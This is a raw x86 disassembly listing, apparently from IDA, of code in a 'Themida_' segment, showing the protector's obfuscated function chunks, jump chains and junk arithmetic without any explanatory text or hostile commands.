; FUNCTION CHUNK AT 005907BF SIZE 0000003F BYTES
; FUNCTION CHUNK AT 005909A6 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005909F0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00590B34 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 00590BC8 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00590D5E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00590F16 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00590F6C SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005910FE SIZE 00000032 BYTES
; FUNCTION CHUNK AT 00591170 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005911AA SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00591516 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005916BC SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005919CC SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00591BD6 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00591BF4 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00591CE7 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00591D61 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00591DEC SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00591E27 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00591F34 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00591FD0 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00591FFD SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00592033 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 00592091 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005920F0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059216A SIZE 0000002A BYTES
; FUNCTION CHUNK AT 005921A6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005922FF SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059259A SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0059263F SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00592682 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005926EA SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00592737 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00592784 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 00592A43 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00592E13 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00592F62 SIZE 00000039 BYTES
; FUNCTION CHUNK AT 00593000 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00593157 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005931E2 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00593299 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00593351 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00593495 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059361D SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00593650 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 005937D7 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00593886 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005938FF SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00593A83 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00593B13 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00593F18 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00593F35 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005941D6 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005945E0 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005947F8 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059481B SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00594887 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005948AC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059490B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00594936 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00594B2B SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00594C16 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00594C74 SIZE 0000003F BYTES
; FUNCTION CHUNK AT 00594D40 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 00594E3C SIZE 00000027 BYTES
; FUNCTION CHUNK AT 005950EB SIZE 00000032 BYTES
; FUNCTION CHUNK AT 00595236 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005953C4 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005954A0 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005955FB SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005957AD SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005958DF SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00595921 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00595A16 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00595C94 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00595D6F SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00596042 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00596411 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005966B5 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005966EA SIZE 00000029 BYTES
; FUNCTION CHUNK AT 00596731 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059674C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00596786 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005967BC SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00596A94 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00596BCA SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00596CC9 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 00596F17 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 00596F86 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005971BC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00597291 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00597634 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0059774E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005977E9 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00597864 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 00597A0A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00597C65 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00597C85 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00597CBB SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00597E13 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00597E38 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00597E52 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00598018 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00598030 SIZE 0000002F BYTES
push ebx
jmp loc_58F970
sub_58C17E endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_58C184: ; CODE XREF: Themida_:00590BC3j
push ecx
jmp loc_596D3C
; ---------------------------------------------------------------------------
loc_58C18A: ; CODE XREF: Themida_:0058B06Bj
and eax, ecx
mov ecx, [esp]
add esp, 4
and eax, 39252863h
sub eax, 823FFFCh
add ebp, eax
mov eax, [esp]
add esp, 4
jmp loc_594E15
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58C1AC: ; CODE XREF: sub_58C17E+BAEFj
push 2157h
mov [esp+2+var_4+2], edx
mov edx, 3E7C4CF4h
xchg eax, edx
inc eax
jmp loc_58C9E9
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop ecx
jmp loc_590815
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
push ebx
push 17812059h
jmp loc_594FBE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58C1D7: ; CODE XREF: sub_58C17E+1FCAj
mov esp, [esp+2+var_4+2]
push 4969h
mov [esp+6+var_8+2], ebx
mov ebx, 25DE7A5Dh
add ebx, 75137FEDh
jbe loc_593650
sub ebx, 313F7FA4h
not ebx
xor ebx, 964D8558h
and eax, ebx
jmp loc_5958DF
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591059
loc_58C208: ; CODE XREF: sub_591059+143Aj
shl esi, 2
jmp loc_58DF4E
; END OF FUNCTION CHUNK FOR sub_591059
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5966C1
loc_58C210: ; CODE XREF: sub_5966C1-100Cj
add eax, edx
jmp loc_58E524
; END OF FUNCTION CHUNK FOR sub_5966C1
; ---------------------------------------------------------------------------
loc_58C217: ; CODE XREF: Themida_:0058F2FFj
push esi
mov esi, 0FFFFFFFFh
add ebx, 5FBB4C82h
add ebx, esi
jmp loc_590084
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_58AD15
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_58C233: ; CODE XREF: sub_590467+7566j
mov edi, 4
add esi, 5EF40639h
jmp loc_593842
; ---------------------------------------------------------------------------
loc_58C243: ; CODE XREF: sub_590467-7ABj
pop ebx
xor ecx, [esp+0]
xor [esp+0], ecx
xor ecx, [esp+0]
jmp loc_58F500
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_58C252: ; CODE XREF: sub_58F5B5+2D45j
xchg edx, [esp-8+arg_4]
pop esp
jmp loc_5967C8
; ---------------------------------------------------------------------------
loc_58C25B: ; CODE XREF: sub_58F5B5+5BE1j
pop ebx
push ebx
jmp sub_591059
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
loc_58C262: ; CODE XREF: Themida_:0058F00Ej
xchg ecx, [esp]
mov esp, [esp]
mov eax, [esp]
push esi
mov esi, esp
add esi, 4
push ebp
mov ebp, 54082AB2h
sub esp, 4
mov [esp], ebp
push edx
pop ebp
pop edx
not edx
xchg edx, ebp
jmp loc_58F1C0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_58C28C: ; CODE XREF: sub_590010-222Dj
mov esi, 0B66687Eh
shl esi, 3
xor esi, 6FD41C3Ah
neg esi
dec esi
xor esi, 0CB18A031h
jmp loc_58C2D1
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
loc_58C2A8: ; CODE XREF: Themida_:0058DE17j
pop ecx
not eax
not eax
add eax, 0BD67076h
sub esi, eax
pop eax
pop ebx
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
jmp loc_595208
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595E21
loc_58C2C5: ; CODE XREF: sub_595E21-3275j
mov ecx, [esp+0]
add esp, 4
push ebx
jmp loc_58F4B2
; END OF FUNCTION CHUNK FOR sub_595E21
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_58C2D1: ; CODE XREF: sub_590010-3D6Dj
; Themida_:0059293Bj
add edx, esi
jmp loc_58EE00
; ---------------------------------------------------------------------------
loc_58C2D8: ; CODE XREF: sub_590010+19B7j
neg eax
jmp loc_59240C
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58D99C
loc_58C2DF: ; CODE XREF: sub_58D99C+4D39j
and eax, 51F53A7Fh
jg loc_58C3BC
xor eax, 6593422Ch
mov ebx, eax
pop eax
xor ebp, ebx
pop ebx
push ebp
mov ebx, [esp+0]
loc_58C2F9: ; CODE XREF: sub_58BA12+7458j
push eax
mov eax, esp
add eax, 4
add eax, 4
push eax
push [esp+8+var_4]
pop eax
pop [esp+8+var_8]
pop esp
add ebx, eax
push edx
mov edx, 3F794FEAh
add ebx, edx
pop edx
xor edx, eax
jmp loc_58A2CE
; END OF FUNCTION CHUNK FOR sub_58D99C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58C320: ; CODE XREF: sub_58C17E-137Cj
mov [esp+4+var_4], ecx
push 541Fh
mov [esp+8+var_8], edx
sub esp, 4
mov [esp+0Ch+var_C], ecx
jmp loc_58AADC
; ---------------------------------------------------------------------------
loc_58C336: ; CODE XREF: sub_58C17E+17AEj
xchg esi, [esp+0Ch+var_C]
pop esp
jmp loc_58A2CE
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_58C33F: ; CODE XREF: Themida_:0058A90Aj
add esp, 2
sub dl, bh
add dl, 90h
pop ebx
jmp loc_595FC4
; ---------------------------------------------------------------------------
loc_58C34D: ; CODE XREF: Themida_:0058FA31j
jmp loc_58A2CE
; ---------------------------------------------------------------------------
loc_58C352: ; CODE XREF: Themida_:005940A9j
add esp, 4
sub esp, 4
jmp loc_58D0D8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58C360: ; CODE XREF: sub_58C17E+1E5Cj
pop cx
add al, bl
pop ebx
pop edx
add bl, 37h
add bl, 0C7h
sub bl, al
sub bl, 0C7h
jmp loc_58A8AA
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_58C376: ; CODE XREF: Themida_:0058AD08j
xor dh, 1
shl dh, 7
jnz loc_5947C9
jmp loc_595010
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_58C387: ; CODE XREF: sub_590010-36C5j
xor ecx, 0F5D2F76h
and eax, ecx
push [esp-0Ch+arg_8]
jmp loc_58F52E
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_58C397: ; CODE XREF: sub_590467-48BBj
; Themida_:00591BD1j
pop esp
jmp loc_592107
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59762D
loc_58C39D: ; CODE XREF: sub_59762D-6773j
xor ecx, [esp+6+var_8+2]
mov esp, [esp+6+var_8+2]
jmp loc_597D35
; END OF FUNCTION CHUNK FOR sub_59762D
; ---------------------------------------------------------------------------
loc_58C3A8: ; CODE XREF: Themida_:0058BDEEj
pop ebp
sub esp, 4
mov [esp], edx
mov edx, 0FFFFFFFFh
jmp loc_591A36
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58D99C
loc_58C3BC: ; CODE XREF: sub_58D99C-16B8j
xor eax, 6593422Ch
mov ebx, eax
pop eax
xor ebp, ebx
pop ebx
push ebp
mov ebx, [esp+0]
add esp, 4
jmp loc_591703
; END OF FUNCTION CHUNK FOR sub_58D99C
; ---------------------------------------------------------------------------
loc_58C3D6: ; CODE XREF: Themida_:0058B978j
add esp, 4
pop esi
add eax, edx
push dword ptr [esp]
pop edx
add esp, 4
push 638Eh
mov [esp], edx
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], edi
push 5C9Ah
mov [esp], esi
mov esi, 39B247E3h
jmp loc_594E68
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_58C413: ; CODE XREF: sub_590467+6BDCj
mov ebp, edi
mov edi, [esp-8+arg_4]
jmp loc_597299
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58C41D: ; CODE XREF: sub_58C17E+1EA9j
; sub_58C17E+711Ej
mov edx, [esp+0]
push ebx
jmp loc_58BFF1
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_58C426: ; CODE XREF: Themida_:00595A27j
shl esi, 8
shr esi, 3
and esi, 1ECF0681h
xor esi, 2B3C4E4Ch
sub eax, esi
pop esi
push ebx
mov ebx, 70C70321h
dec ebx
shl ebx, 4
xor ebx, 5C325FF2h
jmp loc_595538
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_58C450: ; CODE XREF: sub_5EC2E8-57BA7j
mov ebx, esp
jmp loc_5935D2
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
loc_58C457: ; CODE XREF: Themida_:0058CA82j
mov edx, 4
add ecx, edx
pop edx
jmp loc_58D822
; ---------------------------------------------------------------------------
loc_58C464: ; CODE XREF: Themida_:0058A98Dj
mov esi, 260561DBh
xor esi, 39FC1A25h
not esi
push eax
mov eax, 663D45C9h
shr eax, 8
not eax
push edi
mov edi, 0B9D075F7h
sub eax, edi
pop edi
or esi, eax
pop eax
jmp loc_5912A6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_58C48D: ; CODE XREF: sub_5EC2E8-598D6j
mov cx, word ptr [esp+30h+var_30]
push ebp
jmp loc_592ED8
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_58C497: ; CODE XREF: sub_5916C4-349Dj
xor ebp, ebx
pop ebx
xor edi, ebp
pop ebp
push edi
mov eax, [esp-16h+arg_10+2]
add esp, 4
mov edi, [esp-1Ah+arg_14+2]
push esi
mov esi, esp
add esi, 4
add esi, 4
jmp loc_5946BF
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_58C4BB: ; CODE XREF: Themida_:00596DE5j
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
jmp loc_592F8D
; ---------------------------------------------------------------------------
mov ebx, 59A87DFDh
neg ebx
jle loc_591E40
or ebx, 1CB7621Eh
jge loc_58E0EB
push edx
mov bh, bh
loc_58C4ED: ; CODE XREF: Themida_:005924FEj
mov edx, [esp]
add esp, 4
jmp loc_58D9C8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595655
loc_58C4F8: ; CODE XREF: sub_595655-3031j
mov edx, ebx
jmp loc_58F7E2
; END OF FUNCTION CHUNK FOR sub_595655
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_58C4FF: ; CODE XREF: sub_5916C4:loc_594CB3j
or esi, 57B52F04h
jmp loc_591CEE
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590B70
loc_58C50A: ; CODE XREF: sub_590B70+2BB3j
jmp loc_58A2CE
; END OF FUNCTION CHUNK FOR sub_590B70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916CB
loc_58C50F: ; CODE XREF: sub_5916CB+66BCj
pop [esp+4+var_4]
push ecx
not [esp+4+var_4]
jmp loc_591072
; END OF FUNCTION CHUNK FOR sub_5916CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_58C51B: ; CODE XREF: sub_590010+4461j
mov esp, [esp-8+arg_4]
mov dx, word ptr [esp-8+arg_4]
push edx
mov edx, esp
sub esp, 4
mov [esp+0], edi
jmp loc_58D3B5
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
loc_58C533: ; CODE XREF: Themida_:005920B6j
mov [esp], ecx
mov ecx, 63FD4B28h
or ecx, 0D66C00h
jmp loc_591A72
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_58C546: ; CODE XREF: sub_58F5B5+548Cj
shr eax, 2
jnp loc_58EACC
push edi
mov edi, 0EA87F417h
sub eax, edi
pop edi
sub esi, eax
mov eax, [esp-0Ch+arg_8]
push esp
loc_58C55E: ; CODE XREF: Themida_:0058BFC2j
sub ebx, 800C2095h
add ecx, ebx
pop ebx
push edi
mov edi, 4
sub ecx, edi
mov edi, [esp-8+arg_4]
jmp loc_591F17
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
loc_58C577: ; CODE XREF: Themida_:00594A08j
push 320Eh
mov [esp], ecx
jmp loc_58D5DA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_58C584: ; CODE XREF: sub_5EC2E8-5CB9Ej
push [esp+34h+var_30]
jmp loc_58EEDD
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_58C58D: ; CODE XREF: sub_5916C4-4A30j
pop bx
pop edx
push ebx
jmp loc_596868
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_58C596: ; CODE XREF: Themida_:0058D65Cj
mov ebp, 3A4D71C1h
neg ebp
xor ebp, 8893CE5Fh
add ebx, ebp
pop ebp
add ebx, edx
sub ebx, 4D214060h
mov [ebx], al
jmp loc_591F3F
; ---------------------------------------------------------------------------
loc_58C5B5: ; CODE XREF: Themida_:00594B4Aj
add esp, 4
push edx
jmp loc_58DCA8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58B4D6
loc_58C5BE: ; CODE XREF: sub_58B4D6+341Dj
add eax, 589C7B72h
push [esp+8+var_8]
pop ebx
jmp loc_590A68
; END OF FUNCTION CHUNK FOR sub_58B4D6
; ---------------------------------------------------------------------------
loc_58C5CC: ; CODE XREF: Themida_:0058E8B7j
push dword ptr [esp]
mov eax, [esp]
add esp, 4
jmp loc_58CB7F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_58C5DA: ; CODE XREF: sub_590010+8050j
push edx
jmp loc_58A7A8
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_58C5E0: ; CODE XREF: sub_58F5B5:loc_58DBDFj
shr eax, 6
jmp loc_58F927
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F091
loc_58C5E8: ; CODE XREF: sub_58F091+321Cj
jg loc_58CA6C
not edi
push 35Fh
jmp loc_596F86
; END OF FUNCTION CHUNK FOR sub_58F091
; ---------------------------------------------------------------------------
push edx
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58C5FB: ; CODE XREF: sub_58C17E-CC8j
mov bl, 0Dh
shr bl, 3
jmp loc_58BFD3
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595E21
loc_58C605: ; CODE XREF: sub_595E21:loc_58FD90j
jmp loc_590F3F
; END OF FUNCTION CHUNK FOR sub_595E21
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_58C60A: ; CODE XREF: sub_590010:loc_595ACFj
dec ecx
jno loc_58F12A
jmp loc_58D4ED
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
mov ebx, 55AA2E27h
pop esi
loc_58C61C: ; CODE XREF: Themida_:00593238j
mov esi, 62A6880h
jmp loc_58DE67
; ---------------------------------------------------------------------------
loc_58C626: ; CODE XREF: Themida_:00593F76j
sub dh, 0C0h
mov cl, dh
jmp loc_59377B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58C630: ; CODE XREF: sub_58C17E+AE11j
xor ebx, 6B84F12Bh
jmp loc_58C160
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_58C63B: ; CODE XREF: Themida_:005969B7j
mov esi, [esp]
add esp, 4
inc esi
jl loc_58E1C2
add esi, 4C940B83h
jl loc_592BA1
; START OF FUNCTION CHUNK FOR sub_59762D
loc_58C654: ; CODE XREF: sub_59762D-727Fj
js loc_5908BD
push edx
push ebx
mov ebx, 3A351BA8h
mov edx, ebx
pop ebx
push ecx
push edi
mov edi, 4B2D6896h
mov ecx, edi
pop edi
jmp loc_595716
; END OF FUNCTION CHUNK FOR sub_59762D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595258
loc_58C673: ; CODE XREF: sub_595258-5936j
sub ecx, edi
pop edi
push edx
mov edx, 8653BADh
xor edx, 220665D0h
or ecx, edx
pop edx
sub ecx, 0AED9EECEh
add esi, ecx
jmp loc_58DFAC
; END OF FUNCTION CHUNK FOR sub_595258
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58C692: ; CODE XREF: sub_58C17E+539Ej
pop ecx
xor ecx, 39D076BAh
sub eax, ecx
mov ecx, [esp-6+arg_0+2]
add esp, 4
jmp loc_58CDF5
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_58C6A6: ; CODE XREF: sub_5EC2E8-6093Bj
jmp loc_592757
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
mov cx, [esp]
push ebp
push esp
mov ebp, [esp]
sub esp, 4
jmp loc_5930E5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58D236
loc_58C6BC: ; CODE XREF: sub_58D236+4713j
pop esp
mov [esp-8+arg_4], ebx
mov ebx, 2
add ebp, ebx
mov ebx, [esp-8+arg_4]
add esp, 4
push ebp
push [esp-8+arg_8]
pop ebp
jmp loc_58E652
; END OF FUNCTION CHUNK FOR sub_58D236
; ---------------------------------------------------------------------------
loc_58C6DB: ; CODE XREF: Themida_:00596065j
js loc_58E392
dec edi
jge loc_590EBF
inc edi
sub al, 85h
push esi
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_58C6EC: ; CODE XREF: sub_58F5B5:loc_591961j
; Themida_:0059698Dj
add esi, 4
push 6E9Bh
mov [esp-4+arg_0], edi
mov edi, 51FF38EDh
neg edi
dec edi
not edi
or edi, 37DE197Ah
sub edi, 77FF39FBh
add esi, edi
jmp loc_58FDF7
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_58C717: ; CODE XREF: sub_5EC2E8-5E521j
mov ecx, edi
jmp loc_590E4A
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
loc_58C71E: ; CODE XREF: Themida_:00594E08j
xchg ebp, [esp]
pop esp
jmp loc_5979E5
; ---------------------------------------------------------------------------
loc_58C727: ; CODE XREF: Themida_:0058C784j
shr ah, 1
jmp loc_595903
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916CB
loc_58C72E: ; CODE XREF: sub_5916CB+34E3j
add eax, 0B13531EBh
jmp loc_5973A9
; END OF FUNCTION CHUNK FOR sub_5916CB
; ---------------------------------------------------------------------------
loc_58C738: ; CODE XREF: Themida_:0058F5E8j
xor esi, 12BA440Ah
sub ebp, esi
pop esi
xchg ebp, [esp]
pop esp
mov [esp], ecx
mov ecx, 2
add edi, ecx
mov ecx, [esp]
push esi
jmp loc_58C090
; ---------------------------------------------------------------------------
loc_58C758: ; CODE XREF: Themida_:00595F2Bj
push 1DD7h
jmp loc_590DBF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_58C762: ; CODE XREF: sub_58F5B5-117Dj
add esp, 4
jmp loc_58BB39
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916CB
loc_58C76A: ; CODE XREF: sub_5916CB-A93j
mov esp, [esp+8+var_8]
and byte ptr [esp-4+arg_0], al
pushf
jmp loc_58A2CE
; END OF FUNCTION CHUNK FOR sub_5916CB
; ---------------------------------------------------------------------------
loc_58C776: ; CODE XREF: Themida_:00591490j
jge loc_594E0D
add ah, 46h
add ah, 1
shr ah, 1
jmp loc_58C727
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
pop eax
add esp, 4
push ecx
mov ecx, esp
add ecx, 4
push ebp
jmp loc_596AF8
; ---------------------------------------------------------------------------
loc_58C7A2: ; CODE XREF: Themida_:00595CC8j
add dword ptr [esp], 4
pop esi
sub esp, 4
mov [esp], edx
jmp loc_58D582
; ---------------------------------------------------------------------------
loc_58C7B5: ; CODE XREF: Themida_:005917CBj
xor edx, 3C0AB076h
jmp loc_58BEC0
; ---------------------------------------------------------------------------
loc_58C7C0: ; CODE XREF: Themida_:005968BEj
add dh, 0A8h
jb loc_58ECAF
push ecx
push edx
jmp loc_58CBAB
; ---------------------------------------------------------------------------
pop edi
add edi, edx
pop edx
push ebx
push edi
loc_58C7D6: ; CODE XREF: Themida_:005900D1j
push ebp
pop esi
pop ebp
jmp loc_5906ED
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5938B9
loc_58C7DE: ; CODE XREF: sub_5938B9+AD2j
mov ebp, 4
add edi, ebp
mov ebp, [esp+0]
jmp loc_58E1E4
; END OF FUNCTION CHUNK FOR sub_5938B9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59762D
loc_58C7ED: ; CODE XREF: sub_59762D-538Bj
mov bh, 0D2h
and al, bh
pop ebx
inc al
jmp loc_59781D
; END OF FUNCTION CHUNK FOR sub_59762D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595BDA
loc_58C7F9: ; CODE XREF: sub_595BDA-1191j
add bh, ch
mov ecx, [esp+0]
jmp loc_5910AE
; END OF FUNCTION CHUNK FOR sub_595BDA
; ---------------------------------------------------------------------------
